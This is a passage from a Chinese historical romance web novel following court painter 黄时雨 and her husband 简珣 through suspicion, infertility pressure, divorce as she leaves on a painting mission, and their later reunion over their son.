“你爱信不信,反正我没轻薄她,她自己鬼迷心窍犯傻。”简珣一顿,语气又不由放缓了,“落红而已,说明不了什么。你忘了么,我不也为你做过假的落红骗曹妈妈。” 黄时雨的一张芙蓉面登时涨得通红,却又仿佛想起了什么,继而微微泛白。 那些刻意遗忘的,冷不丁又忽隐忽现。 第一次的落红,以及隐晦的无法言明的液体,凌乱的被褥。 她推开简珣,转身闷头一路小跑回了上房。 简珣愕然,后知后觉,梅娘肯定误以为他在明嘲暗讽。 亦或不小心揭了她的短。 忙紧随其后,追了上去。 这日晚膳,简珣牵着黄时雨一齐迈进清苑,直到瞟见辛夷迎面走来,黄时雨才挣开简珣,缩回了自己的手。 这事落在辛夷眼里就相当于落在程氏的眼里,阿珣可真会哄女孩子,这么快就把小妻子哄好了。 这是好事,她自然希望孩子们夫妻和睦,可阿珣一次也没去过蕊珠房中,白白浪费了她的苦心,还枉做一场坏人。 饭后,仆妇井然有序撤下杯盘碗箸,简珣欲言又止,余光瞥见辛夷端着红漆描花托盘奉上香茗果品点心走来,他又深深看了阿娘一眼,对正在服侍程氏净手的梅娘道:“梅娘,你不是要自己装裱《葫芦万寿图》,这里交给我,我已经很久没与阿娘下棋。” 黄时雨便看向程氏,程氏首肯了,她才福一福身,辞了婆母夫君。 主子们有话要谈,辛夷根本不用程氏吩咐已经会意,指挥下人随自己退出次间。 聪明人之间不用把话说透就能心领神会,辛夷如此,程氏与简珣更是如此了。 娘俩只需对视须臾,一切尽在不言中。 程氏淡笑,长叹声便收回了视线。 “阿娘,儿不孝,着了情道。可倾慕之情并非洪水猛兽,反令我益发上进,勤敏自持。”简珣并未出言嗔怪,反倒心平气和,语速温缓地,“外祖家式微,最有能力的大舅舅远在天边,阿娘还要忍受宵小觊觎,从小我便发誓要保护您,长成最有能力的男子汉。现在长大了,我不仅想保护您还想保护梅娘,你们是我生命中同样重要的人。” “我希望你们的感情比对我还亲厚,哪怕没法亲厚至少也不能闹出隔阂。” “梅娘一直从心底尊敬您,您的每句话她都奉若圭臬,从不违逆。您不需要像爱我一样的爱她,可也不能算计她。” “我不是懦夫,不需要用醉酒来达到不可告人的目的。” 他要做梅娘想象中的光风霁月的君子。 “阿娘,我发誓会好好活着,再不会出任何意外,我也比任何人都珍惜性命,因为我有你们。请您再给我些时间,我一定会与梅娘有个孩子的。” 说完这席话,他才站起身,走到程氏对面,撩起衣摆恭恭敬敬跪下磕了两个头。 程氏的眼眶慢慢濡湿。 他没有“出卖”阿娘,也没有认下蕊珠,这件事到此为止。 可他与梅娘之间的裂痕该如何修补。 男人对绿头巾深恶痛绝的天性使他触底反弹,誓要抓住“奸夫”。 到底是怎样“好”的男人值得梅娘一再维护,不惜官衙行苟且之事! 那他定要梅娘看着这么“好”一个男人是怎么死的。 像狗一样死在她脚下,绝了她不安于室的心。 不过这事得徐徐图之,从梅娘口里断然得不到有用的。 得亏黄时雨不知道他的打算,知道了怕是要唬得当场厥过去。 把肃王杀了,就算皇帝不敢灭琅琊简氏九族,灭宣道坊再灭黄时雨三族还是可以的。 阿珣与蕊珠之事不了了之,他咬死不承认要了人家身子,蕊珠什么话也不敢说还被禁足。 黄时雨也不想再深思此事,她怕想得多了想的深了搅乱心智。 今年画艺考核黄时雨不出意外得到了优等,不过是优等里的第二名,第一名也不出意外是陆召琰。 她输了,好在不算丢人。 勉强保住了闻大人、肃王等提携过她的诸多贵人颜面。 年前画署收到了明年离京采风的旨意,这种好事可不是年年都有。 运气好就赶上了,运气不好八年九年或许更久。 普通画师本就难有升官机遇,黄时雨属于个例,大部分人都是忙到老还是个画员。 总之机会难得,人人摩拳擦掌,名额却仅有二十个。 此番采风之地定为昙州府清宁县,临海临山,地势复杂,有着不同于京师的风土人情。 同时,清宁县也是大康船港海外贸易最为繁华之地,每年光税收就占据了国库的四成。 朝廷不惜将京师的市舶司署移至此处。 仅靠当地官员述职,皇帝并不放心,为此专门派遣过文官暗访,写了两大本游记,如今又放出画署的画师再以画面的形式呈现出来。 当然,这些都是其次,皇帝最看重的还是昙州府舆图。 这等差事,没个三五年结束不了。 皇帝笑着打趣闻遇,“下次再见面,小闻大人可就是本朝最年轻的正二品大员。” 闻家靠闻遇还能再支应两代。 “微臣惶恐,为陛下效命万死不辞。”闻遇拱手躬身。 这位雄心勃勃的君主,对权利有着无限的欲望,不论军权还是吏部,乃至税赋,全部都要自己掌握。 如今内阁大部分机要也是皇帝亲自决断。 “你也老大不小,立业之事有朕保你,是不是该考虑成家了。”聊完正事,君臣之间也要闲话家常的。皇上笑呵呵的。 闻遇淡笑,“微臣一向随缘,并不急于此事。” 皇帝大笑,“你是真不急,朕记得你胞弟去年就生了两个儿子。”大手一挥,颇为豪爽道,“从前为了朝廷大局,殷王不得不退掉平邑与你的婚事,如今平邑早就出嫁,前缘已断。殷王家的老四却初长成,今年将将满十六,貌若洛神,你若有意,朕明儿就为你定下。” 从前为大业娶就娶了,中途又为大业被退亲,总不能折腾一圈还得娶他家的闺女吧。闻遇面露难色,况且他要去清宁县,山高路远,把人金枝玉叶娶进门与守活寡有何区别,遂道:“谢陛下厚爱,不过微臣可能要令殷王失望了,也不愿耽误女子芳华。” 皇帝自然也想到这一层,不过殷王自己都不心疼闺女,他又何必多管闲事,但不妨碍做个好人牵线搭桥。 没想到闻遇立刻就回绝了。 回绝也好,十六岁就守活寡也怪可怜的。 闻道芝知道此事却惋惜不已,殷王家的老四秀容郡主,才貌双全,冠绝殷州,闻遇竟直接回绝了。 她气得骂道:“混账,送上门的嫩草你都不吃,我哥哥若在地下有灵,今晚就爬出来撕了你。” 与殷王联姻,闻家便又多了一层保障,还能与当今圣上沾亲带故,百利而无一害。 “姑母,我要去清宁县。”闻遇道。 “那就带着媳妇一起去,多好。”闻道芝想也不想。 “我去清宁县办差,接触大康舆图,怎能带着贴身女人。”闻遇皱眉。 闻道芝一惊,“画署的人能画舆图?” “随行侍卫有一半是神策军,剩下的才是我的人。” 原来如此。闻道芝意味深长看着他,“长久下去也不是办法,你在那边若有看得顺眼的姑娘,只要出身清白,人品可靠,门第说得过去,不管是谁姑母都替你做主。” 闻遇借口画阁有事,急匆匆辞别。 且说放年节前两日,黄时雨做足了心理准备,才来找闻大人登记报名。 以她今时今日的身份,获取一份资格并不难。 难的是她的另一重身份——别人的妻子。 闻大人没想到黄诏侍真敢过来寻她报名,不由生出三分佩服。 然而佩服归佩服,还是建议她慎重考虑。 “采风少则三年多则五年,除了年纪大的女画师,没有似你这般年轻的女子参与。” 黄时雨别在身后的手暗暗攥紧了,指甲扎进了掌心,以痛感强迫自己清醒。 她轻声细语道:“朝廷不允许年轻女画师参与吗?” “这倒不是,而是她们的家族不允许,她们本人也无法舍弃安稳的人生。”闻道人平静道。 家室和仕途,孰轻孰重一目了然。 时下容忍女子出来为官已经算宽厚人家,便是说到天上也不会有人允许妻子远赴他乡一别数年的,更何况连个孩子都未能为家族诞下的小媳妇。 “倘若明年我的肚子依然没有动静,我的婆母因为我的身体备受煎熬,又要兼顾儿子的想法,全家都因为我的存在陷入困境,进退两难,既不能负我又不能不孝。大人,您说,如果我走了,是不是对所有人都好……” 黄时雨笑了笑。 第90章 此去 关着门说了这么久的话,也不知在嘀嘀咕咕什么?蓝素余光时不时瞥向闻大人房间两扇紧闭的门,想贴近了听一听,偏偏姜意凝就在跟前,自己若鬼鬼祟祟的,少不了又要被她取笑。 门扇倏然“吱呀”一声打开,黄时雨从屋里走出,面色如常,在蓝素疑窦丛生的注视下从容离去。 走路的背影十分专注。 一径拐进右边的甬道,头也不回。 袁艺学半眯着眼立在廊下,等了半盏茶工夫,黄诏侍的身影终于映入眼帘,她连忙迈着小碎步迎上去,“黄诏侍,下官去吏部问清楚了,昨儿他们确实收到了刘画员的申状(注,离职申请),不过又让下官带了回来,说得盖上您与闻大人的印章吏部才能审核。” 这是一名末流小官员的离任流程。 得亏是不入流,盖几道章,吏部审核之后没有大问题通常都能通过。相较而言正七品往上的离任才麻烦呢,层层审批,最后报到皇帝跟前,皇帝准了方才算告成。 这名千辛万苦考进画署,勤勤恳恳四年的刘画员,在没有任何预兆的情况下,突然递交申状。 因为是藏画楼的画员,属于黄时雨的“管辖范围”,她免不掉操几番心,一来是职责所在,二来是惋惜不忍。 上午遣人去了趟刘画员家说明申状不合理之处,下午她家就来人重新递交,来的不是旁人,正是她的夫君。刘画员夫君讲话温文尔雅,十分有礼,整个过程没啥阻碍,办得相当顺利。 袁艺学在支摘窗后瞄了会,拐一拐黄时雨胳膊,“咱们画署又不是不给女官生孩子,足足歇一年呢,生完调养好继续上衙,他倒好,直接给媳妇递了申状。” 女画师,抛开那些家境极为显贵特殊的不讲,大部分婚姻艰难,一旦成亲有了孩子,在各种世情的压力下,多数都会辞官回家相夫教子。 在这里待的最久的不是和离便是寡妇。 闻大人是后者,袁艺学是前者。 不过袁艺学和离并非夫家不支持她做女官,相反,前夫还与有荣焉,因为女官不仅有丰厚的俸禄,说出去也体面,但袁艺学还是选择和离,皆因她前夫终日与小妾厮混,被小妾捧得不知天高地厚,吃喝无忌,饮酒无度,再加上沉湎美色,便宛如发了面的馒头似的鼓起,胖若两人。 而她只喜欢一把细腰的男人,不仅细还得结实,最好像小闻大人那样。 实在无法接受前夫从玉树临风的小郎君变成了猪妖,袁艺学一哭二闹三上吊硬是和离了。 理由竟不是因为夫君偏宠,而是他变胖变丑…… 黄时雨瞠目结舌。 可惜袁艺学的底气非寻常女子所能有。 毕竟不是人人都有官拜正二品的大员祖父。 今年下了一场瑞雪,冻死不少害虫幼卵,预示着大康即将迎来下一个丰年。 而黄时雨和简珣也迎来自己的十八岁。 两人一个会哄一个不记仇,倒也磕磕绊绊走了过来。 谨记上回在宫城吃的教训,黄时雨等闲不敢出藏画楼半步,竭力避开接触男子的可能。 以她对简珣的了解,盯着她的绝对不止宝络一个。恰好藏画楼的粗使婆子与女工比别处都多,倘若有心又舍得银钱,收买一两个倒不是不可能。 这事儿他绝对做得出。 从她无法自证也无法清楚交代那一刻,就彻底失去他的信任。 没有人能接受背叛,简珣也不会例外,一次又一次的原谅不是不恨,只是拿她没办法。 其实也不是全无办法杜绝后患,譬如将她关在家中,再给吏部写一份申状断她后路。反正不会有人在乎她的离任是否出自真心。 能给予自由的人,自然也有全部收回的能力。 说句可怕的,连她的小命都是他的。 可那样又有什么意义…… 不是鲜活的快乐的梅娘,一切都没有意义。 人与人之间的相处从一开始就定型。 她是他宠大的,就注定她不会从心底惧怕他,正视他,如今悔之晚矣,强行给她些颜色瞧瞧,只会适得其反。 简珣能给黄时雨最重的惩罚也就在床上了,几乎将所有空余时间都用来陪她,让她又哭又叫,快乐到流泪。 正是精力旺盛不知疲倦的年纪,一遍遍地挥洒雨露。 偶尔拌嘴,也不耽误他冷着脸按住她云雨一番。 他引领她食髓知味,体验到身为女人的美好。 渐渐与他共沉沦。 简珣只有黄时雨,且如此频繁同房,仍旧一无所获。 有段时间他不得不怀疑自己,于是多番请医问药,上至御医下至民间郎中无不认定他极其康健。 清明节后,程氏带着黄时雨再次去庙里进香,拜一拜观音。 适龄且过门一年多没动静的正室,放在人丁兴旺的家族也相当惹眼,更何况宣道坊简府。 这么大的门庭家业却仅剩一名男丁,莫说嫡子嫡女,便是庶出的也没有。暗中垂涎的宵小不知得要多眼红,日夜盼着,盯着。 一般到了这种情况,谁家还在乎嫡庶,庶出再不济也比过继的强。 简府如此凋零,不免使人怀疑简珣不能人道。 于是,有心将贤惠庶女嫁过去做良妾的几个夫人哑火了,一句也不敢再提抬妾之事。 程氏有苦难言。 黄时雨抬眸望了望春明长天,空寂而澄澈,三月的微风有着青草花香,又是一年好时节。 姐姐在信上说清宁县海风又大又糙,那里的姑娘身段窈窕修长,皮肤光滑偏黑,出门不戴帷帽晃一圈,次日立时黑一圈。 京师的女子则不同,全都嫩白嫩白的,如水一般。 此时,丫鬟们围在禅院的香樟树旁烧水,而黄时雨同婆母对坐蔷薇花架下饮茶,用仅次于御用甘泉的大恩寺泉泡的,甘甜从舌尖蔓延心头。 从前,黄时雨对水没有概念,认为煮开了都是一个味儿,水就是水,无色无味。后来她尝过了用清甜泉水煮的茶煮的饭菜,彻底突破了认知。 原来任何常见之物都有优劣之分。 同样都是水或咸菜,简府的便是人间至味,甜水铺子的不过是用来充饥果腹。 以至她再去喝普通的水,瞬间就尝到了苦涩,普通的小菜粗糙难以下咽。 廉价的香膏气味刺鼻,沾上肌肤黏腻无比。 被娇养的身体发肤瞬间就会嫌弃抵制。只是她擅于伪装,将一切不适藏得很好,不让人察觉。 她不喜欢这样娇气的自己。 却又无比感恩将自己养成这样的阿珣。 “娘,我们画署今年接到了离京采风的旨意,人人争之,为君效力……”黄时雨打破了静悄悄,相顾无言的局面。 程氏诧异地抬眸,目光与她相接,有过片刻的僵硬,却似乎明白了什么。 “为君效力是好事情,”她低低道,方才还深凝的目光突然间竟有些失神,“你,也想为君效力吗?” 眼眶蓦地一酸,已经越来越擅于隐藏情绪的黄时雨早就有了不让眼泪流出的能力,她浅笑点了点头,“嗯,我想。” 程氏扭过头,不看她,淡淡道:“阿珣,不会同意的,你告诉我也没用。” “我不是来求您做主的,我,只是觉得不能让您白疼我一场,总得有个相对正式的告别。”黄时雨惴惴起身,走到了她面前,比任何时候都慎重跪了下去,用力磕了两个头。 程氏的视线重新看向了她,跪在脚下的小姑娘,不知何时已经长成了大姑娘。 简珣才兼领了通政司正五品右参议,身兼二职,大有叶学士当年的雏形,正是春风得意之时,就连心爱的妻子也益发温柔小意,少了几分少女的任性,多了些许少妇的知情识趣。 乐不思蜀,他早忘了当年按部就班的规划。 有趋炎附势之人试图进献健康美貌的奴婢,也有心狠的献上自家美貌庶女,无一例外,皆被他一一回绝。 他的妻子又不是不能生,只是还需要一些机缘。 以他之聪慧自然也知人们背后怀疑他不能人道,可他并不在意,能不能人道他的妻子比任何人都清楚。 鸢娘去年嫁的人,今年将将诞下嫡子,简欣兰忍不住在背地里发笑,又不敢当着程氏的面乱讲,便私下里与自己的阿娘说笑:“当初若是娶了我们鸢娘,今日怕是两个孩子都有了。所以人就该门当户对,小门小户养的,谁知道身上干不干净有没有隐疾。” 老太君怒斥道:“闭嘴。” “你以为在我跟前嘴上没个把门,跑去外面就能关好口舌?” “三十年河东三十年河西,珣哥儿如今的出息你难道一丝也看不出?他是你爹最看重的后辈,也是族里数一数二的,你与鸢娘所倚仗的娘家,早晚都得倚仗他。我们简氏最讲究族人团结和睦,你休要得意忘形!” 简欣兰被亲生母亲劈头盖脸好一顿训斥,唯唯诺诺说不出了话。 舫西的掌事与掌柜终于来到京师,果然有不少年轻人,其中一名能力最为突出的原是简珣为蕊珠挑选的夫婿,只没想到她行差踏错,在品行上出了问题,自然不能再与之相配。 此事程氏也有一定的责任,到底是怜惜蕊珠年轻貌美,便将她指给另一名稍显稚嫩的小掌柜,年纪不大外貌还说得过去,性格温温吞吞,两人将来好好过日子,比给人做通房自在一百倍。 简珣不意才送走一个通房,阿娘竟又给他安排了一个,不是旁人而是天冬。 天冬是程氏的二等丫鬟,相貌出众,机灵勤敏,以她的能力做一等也绰绰有余,但清苑一个萝卜一个坑,其他的一等比她更能干。 更令他火冒三丈的是天冬还是梅娘向程氏推荐的,理由是他用膳时多看了天冬一眼。 他自己都不知道自己何时多看过谁一眼。 阖府上下多少年轻的丫鬟,难不成要他以后都闭着眼走路。 气归气,脑筋一转,他忽然想到了另一层,梅娘该不会吃醋了吧? 这个可能令他的嘴角止不住上扬,好不容易才强压下去。 心里的得意肉眼可见地直往外冒。 登时也不觉得天冬碍眼了。 他整了整衣襟,负手昂然信步踱进书房。 自从哄好了梅娘,她与他又开始了共用书房的日子,一个读书一个画画儿。 “天冬,是怎么回事?”他明知故问。 黄时雨从宣纸上抬起头,默然望了他片刻,复又垂眸道:“娘和我都觉得她安分守己,月事又整好与我错开,以后月初就由她服侍你。” 简珣抿着笑来到她身边,倾身嗅了嗅,“有点酸,你不会吃醋了吧?” 黄时雨怔怔凝望他,心里想,这个人怎么还有心情与她顽笑的,难道还没有对她厌恶至极么? 可她的眼眶为何又涨又痛,涌过泪意。 于是她冷冷一笑,强作镇定道:“我有什么好醋的,倒是希望你能多添两个通房小妾,免得时时纠缠我。” 简珣的脸上闪过错愕,可那双明亮的眼眸依然似夏日灼灼的骄阳,望着她暄暖如初。 “我,我没有偷看天冬。”他以为真的惹恼了她,不得不忍气吞声反驳,“你莫要诬赖我。” “没有天冬还会有天夏天春天秋。”她用力抿了一下嘴角,柔声道,“阿珣,你打算逃避到几时,现在一点也不像你。” 简珣笑了声,眼里掠过不易察觉的慌乱,“我的事无需你操心,管好你自己吧。” 黄时雨点点头,“我当然要管好自己,去年就报了名,侥幸抓住一个升官大好时机。” 什么意思?简珣拧眉看她。 “你不是最为了解我,知我素日惯爱盯着官阶,当一个大好的升官机会放在跟前,我怎舍得不抓紧了。”黄时雨佯装镇定地坐直身体,“此番离京采风少则三年多则五年,于我来说不痛不痒,可你不行,长辈们也不会允许的。” 不允许的后果当然是换一个健康又能围在简珣身边的好姑娘做他的妻子。 简珣听清了每一个字,连在一起仿佛又很难懂,“所以呢?” “阿珣,我们和离吧。”她说和离,却倾身抱住了他,唯有如此,才能获得一丝慰藉,以及藏起满脸的泪痕,“对不起,在我心里没有比画道比仕途更重要的,我想要更广更阔的天地,无拘无束,你对我那么好,可不可以再成全我一次?” “权当放过我也放了你自己。” “只要我在一天,你心里的那根刺就永远不会消失。” “是我对不住你,不管你骂我也好打我也罢,我都不会有怨言。” 可是他太冷静了,脸色又那般苍白,宛若一尊石化的雕塑,就那样僵硬原地,久久无言。 一时间,两颗心都在滴血,静谧流淌。 简珣嘴角有些抽搐,不屑地笑了声,“我说什么大事呢,同我叽叽歪歪说了一大串,不会是那人等不及要迎你过门了吧?” 他一脸无所谓地推开她,后退两步,拉来圈子坐下,竭力掩饰已然发抖的手指。 “没人想娶我,我以后也不嫁人。”黄时雨狠狠抹了把眼睛。 可她的痛苦在他眼里就像个笑话,亦或说她的话毫无可信度。 “这可是你说的,”简珣淡淡道,抬眸看着她,“你不会再嫁给别人。” 黄时雨说是。 然后他就沉默了。 黄时雨无措地望着他。 “也就是从去年就打好了主意,今年站住脚再仗着我阿娘背后撑腰才同我道出实情是吧?”他问。 “我,没有你想的那么坏……”她死死扣住自己的手心。 “黄时雨,你果真翅膀硬了。” “……”她无言以对。 “你这个人,经常说话不做数,什么永远对我好,不负我,什么苟富贵勿相忘,我们还击拳盟约过,可兑现过几条啊?”简珣慢慢道,声音里有股悲凉的飘渺。 他没有回答她是否同意,就挥一挥衣袖离开书房,步履潇洒。 八月离京,此时正值四月初。 日子居然相当平和安静地流淌。 简珣一改黄时雨口中“时时纠缠”她的形象,终日宿在书房。 而她根本没勇气过去催一句,哪怕是问一下到底离不离。 眼看时间就来到七月,她终于坐不住,主动去书房找他。 简珣正坐在竹棚下乘凉,身边一众丫鬟小厮有说有笑。 他余光瞥见她,表情就森冷许多,却笑着衔住天冬剥好的葡萄,任由天冬用帕子柔柔擦了擦他嘴角。 还怪尴尬的。黄时雨赧然地拧了拧手指,轻声问:“那件事,你还没考虑好吗?” “哪件事?”他终于抬眼看她。 在他咄咄逼人的视线下,她硬着头皮小声道一句和离。 下人无不变色,霎时躬身的躬身,屈膝的屈膝,慌忙撤退。 天冬也吓个不轻,料想自己沾上了大事,连忙起身,试图趁乱逃走,冷不丁被少爷抓住了手,轻轻一带跌坐在少爷的躺椅上。 简珣无所谓道:“不是八月份离京,眼下还早呢,咱们简府就这么不堪,竟让黄大人多住一天都浑身不自在。” 黄时雨嘴角翕了翕,只好转身离去,主要是他与天冬在她跟前腻腻歪歪的,她杵在旁边看着,委实不自在。 怨不得阿珣意难平,原来自己的另一半与他人调情是这种感受,而她似乎不只是“调情”那么简单。 这份意难平将随着时间的蹉跎,令彼此越来越痛苦。 这场身不由己的结合,看似无解,实则唯有她能解。 此后照常上衙下衙,简府众人心照不宣,对于黄时雨和简珣之间的古怪只字不提。 简珣与天冬的感情日渐深厚,就连用膳也有天冬从旁布菜。 黄时雨闷头吃饭。 一开始她也很不适应,后来就想开了,他俩都不觉得尴尬,自己干嘛难受,反正总要吃饭的。 不破不立,阿珣终于肯开枝散叶,黄时雨觉得婆母应当才是最开心的人。 然而程氏紧锁的眉头再一次令她感到不安。 从京师到昙州府一大半时间都是水路,坐官船而行。 黄时雨早就收拾好了行礼,她本就一无所有而来,走的时候也不该带太多,只带了一些自己俸禄攒下的私房以及常穿的换洗衣物。 七月下旬,在她的一次又一次催促下,简珣才不耐烦地走到书案前,随便写了两张和离书,迅速按了手印,甩到她脸上。 黄时雨一时没接住,手忙脚乱,好不容易从地上拾起,整理好检查一遍,才认真盖上了自己手印。 这是第一步,第二步由下人拿去府衙存录才算正式和离。 简珣将和离书递给福喜:“去吧,越快越好,免得耽误黄大人吉时。” 福喜哪里敢接话,只敢小声应是,一溜烟跑不见了。 黄时雨瞅了瞅门外守候的天冬,又瞄了眼面沉如水的简珣,她坐如针毡,只好道:“那,那我也先回去了。” 简珣却一把攥住了她冰凉的右手。 她立在原地恍惚地看向他。 他坐在那里,眼角泛红。 两个人都有些魔怔了,一时间都不知该说什么,就这般安静地牵着手。 直至黄昏。 天冬早已悄无声息地离开。 这一年,黄时雨未能留在京师过中秋,离开的那么狼狈,害怕回头多望一眼,委屈的眼泪就会夺眶而出。 昨晚,在书房宿了长达四个月的简珣又回到了上房。 严格来说,他已经不算她的夫君了。 他们是没有任何关系的一男一女。 可他却走进了她的寝卧,这于理不合。 黑暗中,他俯身噙住了她双唇,那眷恋的熟悉的温暖扑面而来。 整个过程,哪怕她有一丝挣扎,他或许都会停下,但她没有,简珣就完全压了下来。 直至夜深,他忽然起身,穿衣头也不回离去。 次日也未出现。 黄时雨带着琥珀和柳儿登上了大康驶往昙州府的官船。 她想,她是永远失去他了。 再也不会见面。 从十岁到十八岁认识的郎君。 官船行驶了一天一夜,柳儿才惊讶不迭,急急忙忙告诉黄时雨,她们的箱笼里竟多出了三万两银票。【你现在阅读的是 】 【正文完】 第99章 正文完 推推搡搡的举动难免吸引了周围几道好奇的视线。 看客从简珣眼底的宠溺不难猜测这个年轻的郎君是黄时雨的夫君,小两口当街发生口角罢了。 果不其然,年轻郎君微微倾身对妻子说了两句话,二人便一前一后走出集市。 黄时雨脸皮比简珣薄,推完他就反应过来大庭广众之下委实不妥,她只好攥着自己的手快步离开,身后跟着亦步亦趋的简珣。 开化寺的扫地僧瞧见施主连忙双手合十唱一句佛偈,再继续扫地。 黄时雨强装镇定道:“你总跟着我作甚,我还要当差,难道你就没有自己的事情忙吗?” “有的,我当然有事情忙。”简珣步子放大一些就追上她,“这几日骁影卫天天审犯人审到四更天,大晚上的我时不时便要过去陪他们熬夜,白天才有空闲休息。” “那你还不回去休息。”黄时雨只想他快些走,仿佛走了就不用面对某些问题。 简珣掏出帕子将石凳抹干净,拉着她的手坐下,自己则坐在了旁边那张,两人大眼瞪着小眼。 “松开。”黄时雨用力抽回自己的手,习惯性就要给他一拳头,然而拳头已捏好了,举至半空犹豫几瞬又不得不收回。 打了也没用,他又不怕疼,兴许还以为她在与他打情骂俏,立刻蹬鼻子上脸才更不妙。 简珣的目光落在她犹犹豫豫最终缓缓落下的小拳头上。 凝白圆润,滑腻纤细,握在手心那般无骨娇嫩,却有着攫取他性命的力量,攥着他的魂儿,他想,这一生大约是飞不出她掌心了。 琥珀和柳儿给二人留了些说话的空间,实则余光一直保持着警惕,又狠狠瞪了宝珠一眼。 这厢黄时雨的脑子还在飞快打转,心头七上八下,忽听简珣轻轻启音:“梅娘,你心里还有那人吗?” 这是两人之间最禁忌的话题。 也是她最沉重的枷锁。 好不容易走出来,没想到竟又一次被提起。 幸而她早已学会控制眼泪,水光在眼眶晃了晃又被憋了回去。 许是为了证明什么,她将帷帽摘下,放在手里死死攥着,偏头坦然看向他,“从前没有,以后也不会有。” 简珣也深深迎着她目光,眉目微微发亮,认真地“嗯”了声,再一次问道:“那个人到底是谁呀?” 黄时雨的心渐渐就凉了,淡淡道:“死了。” 烦不胜烦。 真累啊。 简珣再次用力地点了点头,瞳孔紧紧锁着她,笑道:“我信的,以后再不会怀疑,也不再问你了。” 她心里从没有过那个人。 那个人已经死了。 黄时雨噎了噎,一眨不眨。 虽然梅娘不爱他,可是也不爱那个人呀,他拥有梅娘的一切,还跟她有了孩子,从来都没输过。简珣调开视线,空然望着四月微风下那一树开得如火如荼的石榴花。 他感觉有点冷,紧了紧手心,又缓缓松开,闷声问道:“那,我的孩子呢?” 黄时雨转眸看向宝珠。 宝珠脖子一缩,悄然躲进香樟树后,她差不多快被主仆三人的视线戳成了筛子。 “没了。”黄时雨在心里道一句抱歉。 “住口。”简珣不悦地皱了眉,“哪有你这样狠心的娘亲,胡乱说话也不知忌口。” 黄时雨果然住了口,紧紧地抿着唇角。 简珣解下蹀躞带上挂着的小荷包,油绿底宝相花纹的蜀锦,沉甸甸的,轻轻放在她手心,然后两手拢着她的手儿,暖着她冰凉的手背,低声道:“这是我小时候戴的金锁,久哥儿周岁礼定然用得上,将来平平安安长命百岁。” 时下讲究佩戴父亲的长命锁,代代相传,嫡长子才有的殊荣。 原来他什么都知道。 一直都知道。 而她还在自以为是地沾沾自喜。 都快五月了,风明明很暖,可他与梅娘却浑身冰凉,好在他的手心是暖的,用力握紧她双手。 她克制不住地颤抖,他轻然一笑,“傻瓜。那是你生的孩子,没人跟你抢。” 黄时雨似乎是听懂了,抬眼看他,两片浅色的唇动了动,“真的吗?” 简珣说真的。 仿佛不敢置信,她飞快地眨了眨眼,连泪花也不小心眨了出来,“这回,你不骗我?” “不骗。”简珣道。 世上怎么会有这么傻的人,深信他每一句口是心非,却总是怀疑他所有的真心。简珣弯起一抹浅笑。 “从记事起我就知道鸢娘是我未婚妻,我们门第相当,父亲又是故交,而她越长越漂亮,是我见过的最漂亮的女孩子。我与她成亲既是父母之命媒妁之言,也是理所应当之事。”简珣故意不松开手,笑着看梅娘因为生气而涨红的花靥,“直到她与我退亲,我才发现自己竟一点也不伤心,甚至庆幸梅娘离不开我,只要我不放手,梅娘迟早都是我的……” 他那时从不担心失去她。 飞不出他掌心的。 因为可以用钱买。 只没想到飞不出掌心的那个人原来是自己。 黄时雨拿不准简珣突然讲古是何意,如果他能松开她的手,她兴许还能配合着听一听。 他的手就像铁钳子一样,故意抓着她,她毫无反制之力,不挣扎还好,越挣越紧,弄疼她了。 “梅娘。”简珣倾身拥她入怀,无视她的怒气一下一下捶打着后背,“你不是我的,可我,永远是你的。” 他幽幽叹息,下巴垫在她瘦削的肩上,好困啊,真想抱着她睡一觉,然后他就真的闭上了眼。 “你,压到我了,好沉啊,简允璋!”黄时雨在他怀里惶惶扭动,惊醒了险些熟睡的简珣。 他睁了睁眼,睡意惺忪,稍稍松开手臂,柔声道:“抱歉哈,真睡着了。” 然后他就趴在石桌上睡了。 黄时雨:“……” 宝珠顶着巨大的压力,讨好地笑笑,解释道:“少爷已经好几天没睡个整觉,陪着骁影卫的人连轴转,今天得了空就立刻跑来假装‘偶遇’您……” 这是个双面细作。 不止出卖黄时雨,也出卖简珣。 宝珠缩着脖子重新躲到树后。 黄时雨盯着手里的蜀锦小荷包发呆,身畔简允璋呼吸均匀,侧颜安宁。 恍惚中他的脸儿与记忆深处稚嫩的笑颜不断重叠。 “黄时雨,黄二。” 是男童清亮的声音。 她是不被父母关心疼爱的小孩,做什么都很奇怪,常被同龄人嘲笑,只有他蹲在旁边,安静地陪她观察蚂蚁窝。 他从来不觉得她奇怪,也没有嘲笑她的贫穷与窘迫。 小时候陪她玩,长大了保护她。 这一觉睡得相当甜美,已经两年没有如此安眠,简珣睁开眼,活动着手臂和肩膀,残阳日落,余晖烟霞缭绕天际,宛如梅娘的裙摆一般好看。 他以手支颐,欣赏了片刻,才看向身边的黄时雨,“梅娘,我以为醒来后你就不见了,再也看不到你。” 没想到醒来第一眼就能看见她。 他好开心。 不愧是他疼爱了十年的小青梅,心软又善良,舍不得将他丢在荒山野岭。 黄时雨从口袋摸出二十枚铜钱,“拿去租辆车吧。” “多谢黄大人。”简珣一枚一枚收起,“可是这么晚了,上哪儿找租车的商贩……” “要不你在禅院将就一晚。”她垂眸道。 简珣摇了摇头,“我一个人害怕,除非你陪我。” 无耻。黄时雨起身甩袖而去。 简珣笑着追上。 最终,他如愿登上了她的马车,只不知何时才能重新登上她的绣床。 “梅娘,督办结束我便要随老师回京,最慢今年也会结束。”他以指背蹭了蹭她不开心的小臂,“伯祖父受了伤,身体不太好,我要回他身边尽孝。” 安国公受伤? 于公于私黄时雨都不会无动于衷。 简珣予她的那些呵护,多少也有点这位长辈的默许,如若换成墨守成规又严苛不讲道理的,她的路走得定然不会太轻松。 “他老人家发生了何事?”黄时雨满眼忧虑。 “被一个疯子打伤。”简珣垂眸玩着她的手指,又因为心中的忧郁愈来愈深,渐渐失去了兴致,变得安静。 此事说来话长。 那乞丐婆子原本定的斩立决,不知对肃王说了什么,肃王便让人去安国公府传话,安国公竟真的前往大狱面见她。 乞丐婆子见到安国公本人哈哈大笑,旋即大肆咒骂,狱卒上前呵斥,欲拿杀威棍教训她,却被安国公制止。 二人四目相对僵持良久,乞丐婆子忽然暴起,从口中吐出一枚枣核射穿了安国公肩膀。 紧接着她也因消耗过度七窍流血而亡。 “伯祖父不明不白挨这一下,他年纪又那么大,从那以后身体每况愈下,觐见皇帝时不得不依靠人抬行。去年恢复了一些,却不敢掉以轻心。”简珣恋恋不舍望着黄时雨,抬手理了理她散在耳侧的碎发,“伯祖父身边离不开我,我也舍不得伯祖父,但是每天我都会想你的。” 